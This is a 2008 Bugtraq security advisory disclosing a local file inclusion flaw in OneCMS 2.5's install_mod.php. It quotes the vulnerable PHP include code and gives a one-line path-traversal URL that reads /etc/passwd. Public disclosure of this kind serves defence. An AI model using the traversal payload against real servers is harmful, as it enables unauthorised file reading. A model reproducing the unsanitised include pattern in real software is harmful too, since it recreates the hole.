bugtraq - [DSECRG-08-025] Local File Include in OneCMS 2.5

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Date: Fri, 23 May 2008 19:00:12 +0400
From: Digital Security Research Group <research@...c.ru>
To: bugtraq@...urityfocus.com, vuln@...unia.com,
	packet@...ketstormsecurity.org
Subject: [DSECRG-08-025] Local File Include in OneCMS 2.5


Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-025


Application:                    OneCMS
Versions Affected:              2.5
Vendor URL:                     http://www.insanevisions.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       26.03.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        23.05.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script install_mod.php


Code
****
#################################################

 $mod = $_GET['load'];
 $filexp = explode(".", $mod);
 $filetype = $filexp[1];
 $file = $filexp[0];
 $file2 = "mods/$mod";

 if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
 if ($filetype == "php") {
 if ($_GET['act'] == "") {
 echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
 }
 if ($_GET['act'] == "go") {
 include ($file2);
 ...

#################################################


Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)